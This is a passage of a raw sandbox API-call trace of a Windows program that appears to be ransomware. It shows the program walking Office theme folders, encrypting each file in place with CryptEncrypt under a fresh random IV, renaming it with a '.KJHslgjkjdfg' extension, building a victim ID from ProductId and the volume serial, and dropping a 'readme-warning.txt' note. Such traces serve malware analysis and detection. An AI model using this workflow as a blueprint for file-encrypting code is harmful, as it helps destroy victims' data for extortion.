pdwDataLen=0x4dfefd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1d0) returned 1 [0173.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.570] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1d0, lpOverlapped=0x0) returned 1 [0173.570] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.570] SetEndOfFile (hFile=0x12c) returned 1 [0173.573] GetProcessHeap () returned 0x2ef0000 [0173.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.573] GetProcessHeap () returned 0x2ef0000 [0173.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.kjhslgjkjdfg")) returned 1 [0173.579] CloseHandle (hObject=0x12c) returned 1 [0173.579] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.580] GetProcessHeap () returned 0x2ef0000 [0173.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.580] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.580] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.585] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.585] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.585] GetProcessHeap () returned 0x2ef0000 [0173.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.586] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.586] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.586] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.586] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.586] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.586] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.586] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.586] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.586] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.586] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.587] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9ac, lpOverlapped=0x0) returned 1 [0173.587] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9b0) returned 1 [0173.587] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.587] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9b0, lpOverlapped=0x0) returned 1 [0173.587] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.587] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.587] SetEndOfFile (hFile=0x12c) returned 1 [0173.590] GetProcessHeap () returned 0x2ef0000 [0173.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.590] GetProcessHeap () returned 0x2ef0000 [0173.590] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.596] CloseHandle (hObject=0x12c) returned 1 [0173.596] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.597] GetProcessHeap () returned 0x2ef0000 [0173.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.597] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.597] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.597] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0173.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.602] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.602] GetProcessHeap () returned 0x2ef0000 [0173.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.602] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.602] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.602] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.602] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.602] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.602] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.603] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4c1d, lpOverlapped=0x0) returned 1 [0173.603] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c20) returned 1 [0173.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.604] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4c20, lpOverlapped=0x0) returned 1 [0173.604] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.604] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.604] SetEndOfFile (hFile=0x12c) returned 1 [0173.607] GetProcessHeap () returned 0x2ef0000 [0173.607] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.607] GetProcessHeap () returned 0x2ef0000 [0173.607] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.611] CloseHandle (hObject=0x12c) returned 1 [0173.611] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.611] GetProcessHeap () returned 0x2ef0000 [0173.611] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.611] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.612] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.612] GetProcessHeap () returned 0x2ef0000 [0173.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.612] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.612] GetProcessHeap () returned 0x2ef0000 [0173.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0173.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.612] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0173.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.612] GetProcessHeap () returned 0x2ef0000 [0173.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.612] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.612] GetProcessHeap () returned 0x2ef0000 [0173.612] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.612] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.612] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.612] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.612] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.613] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.613] RegCloseKey (hKey=0x12c) returned 0x0 [0173.613] GetProcessHeap () returned 0x2ef0000 [0173.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.613] GetProcessHeap () returned 0x2ef0000 [0173.613] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.613] GetProcessHeap () returned 0x2ef0000 [0173.613] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.613] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.613] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.613] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.613] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.613] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.614] GetProcessHeap () returned 0x2ef0000 [0173.614] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.614] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.614] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.614] GetProcessHeap () returned 0x2ef0000 [0173.614] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0173.614] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt") returned 79 [0173.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.614] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.616] CloseHandle (hObject=0x12c) returned 1 [0173.616] GetProcessHeap () returned 0x2ef0000 [0173.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.616] GetProcessHeap () returned 0x2ef0000 [0173.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.616] GetProcessHeap () returned 0x2ef0000 [0173.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.616] GetProcessHeap () returned 0x2ef0000 [0173.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.616] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.617] GetProcessHeap () returned 0x2ef0000 [0173.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0173.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0173.617] GetProcessHeap () returned 0x2ef0000 [0173.617] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0173.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.621] GetProcessHeap () returned 0x2ef0000 [0173.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.621] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.622] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0173.622] GetProcessHeap () returned 0x2ef0000 [0173.622] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f10788 [0173.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.623] GetProcessHeap () returned 0x2ef0000 [0173.623] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.623] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.623] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, 